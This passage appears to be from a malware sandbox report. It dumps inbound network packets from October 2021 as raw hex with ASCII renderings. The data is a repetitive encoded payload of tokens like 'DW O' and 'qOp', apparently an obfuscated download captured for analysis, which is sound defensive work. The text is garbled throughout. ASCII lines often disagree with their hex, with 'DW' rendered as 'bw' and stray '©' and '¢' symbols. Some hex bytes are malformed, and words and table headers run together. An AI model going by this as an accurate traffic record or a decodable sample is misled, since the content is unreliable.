2021-10-29 18:29:05 UTC 1034 IN Data Raw: 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 6d 20 4f 20 6d 45 20 4f 20 57 45 20 4f 20
57 71 20 4f 20 71 4f 4f 20 4f 20 57 71 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f
20 45 70 20 4f 20 71 4f 4a 20 4f 20 57 71 20 4f 20 71 4f 4f 20 4f 20 57 71 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57
20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 45 4a 20 4f 20 71 4f 4f 20 4f 20 57 71 20 4f 20 71 4f
70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f
57 20 4f 20 45 70 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44
57 20 4f 20 44 57 20 4f 20 44 57 20 4f
Data Ascii: DW O DW O DW O DW O gOm O mE O WE O Wq O qOO O Wq O qOp O DW O DW O DW O DW O Ep O
qOJ O Wg O qOO O Wg O qOp © DW O bW O bw O DW O DW O DE O EJ O qOO O Wg O qOp O DW O DW O DW O
DW O bw O bw O bw O qOW O Ep O qOp O bw O bw O bw O bw O bw O bw O bW O DW O

2021-10-29 18:29:05 UTC 1035 IN Data Raw: 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 45 6d 20 4f 20 71 71 4f 20 4f 20 44 45 20 4f 20 58 4d 20 4f 20 44
57 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44
57 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44
57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 44 20 4 20 71 71 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20
44 57 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 6d 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 44 4d 20 4f 20
44,57 20 4f 20 4d 58 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 71 71 57 20 4f 20
44,57 20 4f 20 58 4a 20 4f 20 58 71 20
Data Ascii: DW O DW O DD O Em O ¢qO O DE O XM O DW O XW O DW O DD O gJg O DW O Eq O WD O DW O MM
O DW O DD O qOX O DW O EJ O Ep O DW O qOO O DW O DD O ggJ O DW O Eq O XW O DW O MM O ggM O DW O
Em O DW O DM O DM O DW O MX O DW O DD O mX O DW O DE O qqW O DW O XJ O Xq
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:05 UTC 1037 IN Data Raw: 20 4f 20 44 44 20 4f 20 44 44 20 4f 20 44 57 20 4 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 4d 58 20
4f 20 44 57 20 4f 20 44 57 20 4f 20 45 6d 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 71 4f 4f 20
4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 57
20 4 20 71 71 4d 20 4f 20 44 44 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f
70 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 4f 20 4f 20 71 71 4f 20 4f 20 44 4d 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d
4f 20 4f 20 58 71 20 4f 20 44 44 20 4F 20 71 4a 4a 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d
58 20 4f 20 44 57 20 4f 20 44 44 20 4f
Data Ascii: O DD O DD O DW O Eq O qgM O DW O MX O DW O DW O Em O DW O DM O EE O DW O gOO O DW O
DD O qJq O DW O Eq O qqM O DW O EW O qgM O DD O DD O DW O DW O DW O DW O gOp O DW O DD O XO O
g0 O DM O Xgq O DW O MO O Xq O DD O qJJ O DW O Eq O XW O DW O MX O DW O DD O

2021-10-29 18:29:05 UTC 1038 IN Data Raw: 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57
20 4f 20 44 44 20 4f 20 45 71 20 4f 20 71 71 4f 20 4f 20 44 45 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 58 70 20 4f 20 44 57
20 4f 20 44 44 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 58 6d 20 4f 20 44 57 20
4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20
4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 44 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 4f 70
20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 44 20 4f 20 58 71 20
4f 20 44 57 20 4f 20 71 4f 70 20 4f 20
Data Ascii: DW O DW O DW O bW O DW O DW O DW O DW O DD O Eq O qqO O DE O XM O DW O Xp O DW O DD O
XW O DW O DM O mX O DW O Xm O DW O DW O qOp O DW O EO O Ep O DW O MO O Xq O DD O qgM O DW O Eq
O WD O bW O MM O qOp O DD O mX O DW O DE O DW O DW O ED O Xq O DW O qOp O

2021-10-29 18:29:05 UTC 1039 IN Data Raw: 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f
20 45 6d 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f
20 71 4a 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 57 20 4f 20 71 71 4d 20 4f 20 44
44 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 58 71 20 4f 20
44 44 20 41 20 71 4a 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20
44 44 20 4f 20 58 4d 20 4f 20 71 71 4f 20 4f 20 44 4d 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 58 71 20 4f
20 44 44 20 4f 20 6d 58 20 4f 20 44 57 20
Data Ascii: O DW O Eq O WJ O DW O MM O ggM O DW O Em O DW O DM O EE O DW O gOO O DW O DD O gJg O
DW O Eq O ggM O DW O EW O ggM O DD O Xq O DW O Eq O ggM O DW O gOO O Xq O DD O ¢JJ O DW O DW O
DW O DW O DW O DW O DD O XM O qqO O DM O DM O DW O OO O Xq O DD O mX O DW

2021-10-29 18:29:05 UTC 1041 IN Data Raw: 20 44 57 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20
71 71 4d 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20
71 4a 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 44 20 4f 20
44 44 20 4f 20 71 71 4f 20 4f 20 44 45 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f
20 71 4f 6d 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 57 20 4f
20 71 4f 70 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f
20 71 71 57 20 4f 20 44 57 20 4f 20 45
Data Ascii: DW O EO O DW O DW O MX O qqgM O DD O qgM O DW O EJ O XW O bw O MM O DW O DW O qJO O
Dw O bw O bw O bW O bW O bW O DD O DD O qqO O DEO XM O DW O XW O qqgqM O DD O qOm O DW O EJ O X
MODWOMOOXqgODWOqOpODWOEOOEEODWOMOOXqODDOqgWODWOE

2021-10-29 18:29:05 UTC 1042 IN Data Raw: 44 57 20 4f 20 45 4f 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 58 6d 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 45 45
20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f
58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71
4a 71 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71
71 44 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20
71 4f 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f
20 71 4f 44 20 4f 20 44 57 20 4f 20 45
Data Ascii: DW O EO O Xq O DW O Xm O Xq O DD O EE O DW O DE O DW O DW O XW O qOp O DD O qOX O DW O
EJODW O DW O MX O qqgM O DD O gqJg O DW O EJ O Xq O DW O Ep O DW O bW O qgb O bw O DE O bW O bW
O XW O qgM O DD O qOX O DW O Eq O qgM O DW O MO O Xq O DD O qOD O DW O E

2021-10-29 18:29:05 UTC 1043 IN Data Raw: 58 71 20 4f 20 44 57 20 4f 20 45 57 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 45 4f 20 4f 20 44 57 20 4f 20 45
71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20
45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44
57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 4d
20 4f 20 58 70 20 4f 20 4d 4d 20 4f 20 45 6d 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 58 70 20 4f 20 44 57 20 4f 20 45 71
20 4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 45
71 20 4f 20 58 57 20 4f 20 44 57 20 4f
Data Ascii: Xq O DW O EW O qqM O DD O EO O DW O Eq O WJ O DW O qOO O DW O DD O qOX O DW O EJ O Ep O
Dw O bw © bw O bw O bw © bw O bw O bw O bw O bw O bw O DE O DW O DW O DM O Xp O MM O Em O
qOp O DD O Xp O DW O Eq O XW O DW O MO O qOp O DD O qJg O DW O Eq O XW O DW O

2021-10-29 18:29:05 UTC 1045 IN Data Raw: 20 44 58 20 4f 20 71 71 71 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 4f 70 20 4f
20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 57 20 4f 20
44 4d 20 4f 20 45 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 71 4f 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20
44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44
57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 57 4a 20 4f 20 44 44 20 4f 20 71 4f 4a 20 4f 20 58
71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 4a 20 4f 20 58 71
20 4f 20 44 44 20 4f 20 57 4a 20 4f 20
Data Ascii: DX O qqgq O DW O mE O mE O mE O qOp O Xq O bw O bw O DW O bW O bW O DW O XW O DM O EJ
O DW O bW O EE O gOW O bw © bw O bw O bw O bw O bw O bw O XM O bw O bw O bW O bwW O bw O bw
O DW OWJ O DD O q0OJO XgODW O DW O DW O DW O DW O DW O XJO Xq O DD O WJO

2021-10-29 18:29:05 UTC 1046 IN Data Raw: 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 45 20 4f 20 44 57 20 4f 20 45 4a 20
4f 20 58 57 20 4f 20 44 57 20 4f 20 4d 4f 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f
20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20
45 4f 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 44 20 4f 20 58
4d 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 57 4a
20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 57 4a 20 4f 20 44 57
20 4f 20 44 57 20 4f 20 58 44 20 4f 20
Data Ascii: O DW O ME O Xq O DD O qqE O DW O EJ O XW O DW O MO O Xq © bw O bW O bw O DW O bw O
Dw O bw O bw O bw O DW O bw O DW O EO O Xgq O bw O bw O bw O DW O DW O ED O XM O DW O ME O
DW O DD O Xq O DW O DW O WJ O DW O DW O qOp O DX O mE O mE O WJ O DW O DW O XD O
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kBytes
Timestamp transferred Direction Data

2021-10-29 18:29:05 UTC 1047 IN Data Raw: 20 44 57 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 58 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44
57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 6d 45
20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 58 70 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 71 71 4d 20 4f 20 44 58 20 4f 20 6d
45 20 4f 20 6d 45 20 4f 20 6d 70 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 4d 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 4d
4f 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20
4d 45 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20
45 70 20 4f 20 44 57 20 4f 20 44 44 20
Data Ascii: DW O DW O DE O XW O DW O DW O DW O DW O DW O DW O EJ O DW O EO O Ep O DW O mE O qgqM
O DW O Xp O DW O EM O qgM O DX O mE O mE O mp O DE O DW O DM O qOE O DW O MO O gOp O DW O qOp O
DW O EJ O Xq O DW O ME O DW O DD O qqJ O DW O EJ O EE O DW O Ep O DW O DD

2021-10-29 18:29:05 UTC 1049 IN Data Raw: 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 4f 45 20 4f 20 44 57
20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44
57 20 4f 20 4d 58 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20
44,57 20 4 20 4d 45 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20
44,57 20 4f 20 58 4d 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 6d 4d 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44
57 20 4f 20 4d 45 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44
57 20 4f 20 45 70 20 4f 20 44 57 20
Data Ascii: O O DW O DW O qOp O DW O Eq O gOE O DW O gOO O DW O DW O qOp O DW O EJ O Xgq O DW O MX
0 gqgM O DW O qOp O DW O EJ O Xq O DW O ME O DW O DD O gOX O DW O DE O DW O DW O XM O Xq O DD O
mM O DW O EJ O Xq O DW O ME O DW O DD O qgX O DW O EJ O Ep O DW O Ep O DW

2021-10-29 18:29:05 UTC 1050 IN Data Raw: 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 58 71 20 4f 20 44 44 20 4f
20 71 71 44 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 44 57 20 4f 20 44 44 20
4f 20 71 71 58 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 57 20 4f 20 71 4f 70 20 4f 20 44 44
20 4f 20 6d 4d 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 71 4f 70 20 4f 20 44 57
20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20
4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f
20 44 57 20 4f 20 44 57 20 4f 20 45 70
Data Ascii: O DW O EJ O Ep O DW O XM O Xq O DD O qqD O DW O DE O bW O DW O qOO O DW O DD O qgX O
DW O DE O DW O DW O XW O qOp O DD O mM O DW O Eq O WJ O DW O EM O qOp O bW O bw O DW O DW O
Dw O bw O bw O bw O bw © bw O bw O bw O bw O bw O bw O bw O bW O DW O DW O Ep

2021-10-29 18:29:05 UTC 1051 IN Data Raw: 20 57 6d 20 4f 20 58 71 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 6d
45 20 4f 20 71 4f 70 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44
57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57
20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 6d 20 4f 20 58 71 20
41 20 44 44 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 71 71 57 20 4f 20 44
57 20 4f 20 44 45 20 4f 20 58 71 20 4f 20 44 58 20 4f 20 71 4a 71 20 4f 20 44 57 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20
44 57 20 4f 20 6d 45 20 4f 20 6d 45 20
Data Ascii: Wm O Xg O EE O DW O DW O XO O mE O mE O gOp O Xq O DW O DW O DW O DW O DW O DW O DW
O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW O Em O Xq O DD O ggM O DW O
ggM O DW O EO O gqW O DW O DE O Xg O DX O gJg O DW O qgM O DW O DW O mE O mE

2021-10-29 18:29:05 UTC 1053 IN Data Raw: 44 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57
20 4f 20 44 44 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 71 71 4d 20 4f 20 44 57 20 4f 20 58 4d 20 4f 20 58 71
20 4f 20 44 44 20 4f 20 71 4a 4a 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 71 4f
70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57
20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20
4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 45 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 58 44 20 4f
20 44 44 20 4f 20 71 4f 45 20 4f 20 44
Data Ascii: D O mX O DW O EJ O qOE O DW O Ep O DW O DD O DX O DW O Eq O qgM O DW O XM O Xq O DD O qJ
JODWOEJOEEODWOEMO qOp ODW O bw O bw O bw © bw O bw O bw O bw O bw O bw O bw O bW
O bw O bw O bw O bw O bw O DW O DW O DW O EEO DW O Ep O XD O DD O qOE O D

2021-10-29 18:29:05 UTC 1054 IN Data Raw: 4f 20 4d 4d 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 4a 20 4f 20 44 57 20 4f 20 45 4a 20 4f 20 58 71 20
4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57 20 4f 20 45 71 20 4f 20 57 4a 20
4f 20 44 57 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 71 71 71 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 71 4f 70
20 4f 20 44 57 20 4f 20 45 44 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 4d 4f 20 4f 20 44 57 20 4f 20 44 45 20 4f 20 71 4f 45
20 4f 20 44 57 20 4f 20 45 4d 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57
20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20
4f 20 44 57 20 4f 20 44 57 20 4f 20 44
Data Ascii: O MM O qgM O DD O qqJ O DW O EJ O Xq O DW O ME O Xq O DD O qgX O DW O Eq O WJ O DW O Ep O
DW O DW O ggqq O DW O EO O qOp O DW O ED O DW O DD O MO O DW O DE O qOE O DW O EM O qOp O DW O
Dw O bw O bw © bw O bw O bw O bw O bw O bw O bw O bw O bw O bw O DW O D

2021-10-29 18:29:05 UTC 1058 IN Data Raw: 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 4f 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 71 4f 70 20 4f 20 58 71 20 4f
20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20
44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44
57 20 4f 20 44 58 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 71 4d 20 4f 20 44
45 20 4f 20 58 70 20 4f 20 44 57 20 4f 20 45 4f 20 4f 20 45 45 20 4f 20 44 44 20 4f 20 44 45 20 4f 20 44 57 20 4f 20 44 57
20 4f 20 58 4a 20 4f 20 44 44 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 6d 45 20 4f 20 6d 45 20 4f 20 6d 70 20
4f 20 44 57 20 4f 20 44 57 20 4f 20
Data Ascii: O DW O DW O XO O mE O mE O qOp O Xq O bw O bw O bw O bw O bw O bw O bw O DW O bW O
Dw © bw O bw O bw O bW O bw O DW O DW O DX O DW O DW O EO O Xgq O DD O qgM O DE O Xp O DW O EO
O EE O DD O DE ODW O DW O XJ O DD O bW O DW O DW O mE O mE O mp O DW O DW O

2021-10-29 18:29:05 UTC 1062 IN Data Raw: 57 20 4f 20 58 57 20 4f 20 44 4d 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 58 20 4f 20 6d 45 20 4f 20 6d 45 20
4f 20 57 4a 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 58 71 20 4f 20 71 71 4d 20 4f 20 44 44 20 4f 20 71 71 58 20 4f 20 44 57
20 4f 20 45 71 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 4d 4d 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 6d 20 4f 20 44 57
20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4f 57 20 4f 20 44 57
20 4f 20 45 71 20 4f 20 71 4f 45 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 71 4a 20 4f 20 44
57 20 4f 20 45 4a 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 71 4f 71 20 4f 20 58 71 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44
57 20 4f 20 44 57 20 4f 20 44 57 20 4f
Data Ascii: W O XW O DM O DW O DW O DX O mE O mE O WJ O DW O DW O Xgq O qgM O DD O qgX O DW O Eq O
mX O DW O MM O DW O DD O gOm O DW O EJ O Xq O DW O ME O Xq O DD O qOW O DW O Eq O qOE O DW O
MX O DW O DD O gqJ O DW O EJ O Xq O DW O qOq O Xq O DW O bW O bW O DW O DW O
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Timestamp transferred Direction Data

2021-10-29 18:29:05 UTC 1066 IN Data Raw: 20 44 57 20 4f 20 4d 58 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 71 44 20 4f 20 44 57 20 4f 20 45 71 20 4f
20 58 57 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 6d 58 20 4f 20 44 57 20 4f 20 44 45 20 4f
20 44 57 20 4f 20 44 57 20 4f 20 58 44 20 4f 20 71 4f 70 20 4f 20 44 44 20 4f 20 71 4f 6d 20 4f 20 44 57 20 4f 20 45 4a 20
41 20 45 70 20 4f 20 44 57 20 4f 20 4d 45 20 4f 20 58 71 20 4f 20 44 44 20 4f 20 71 4f 6d 20 4f 20 44 57 20 4f 20 45 71 20
4f 20 45 70 20 4f 20 44 57 20 4f 20 4d 58 20 4f 20 44 57 20 4f 20 44 44 20 4f 20 71 4f 58 20 4f 20 44 57 20 4f 20 45 4a 20
4f 20 45 45 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f 20 44 57 20 4f
20 44 57 20 4f 20 44 57 20 4f 20 44 57
Data Ascii: DW O MX O gOp O DD O ggD O DW O Eq O XW O DW O MX O gOp O DD O mX O DW O DE O DW O DW
O XD O qOp O DD O gOm O DW O EJ O Ep O DW O ME O Xg O DD O qOm O DW O Eq O Ep O DW O MX O DW O
DD O gOX O DW O EJ O EE O DW O DW O DW O DW O DW O DW O DW O DW O DW O DW

2021-10-29 18:29:05 UTC 1071 IN Data Raw: 44 45 20 4f 20 45 70 20 4f 20 44 57 20 4f 20 71 4f 4f 20 4f 20 71 4f 70 20 4f 20 44 57 20 4f 20 45 70 20 4f 20 44
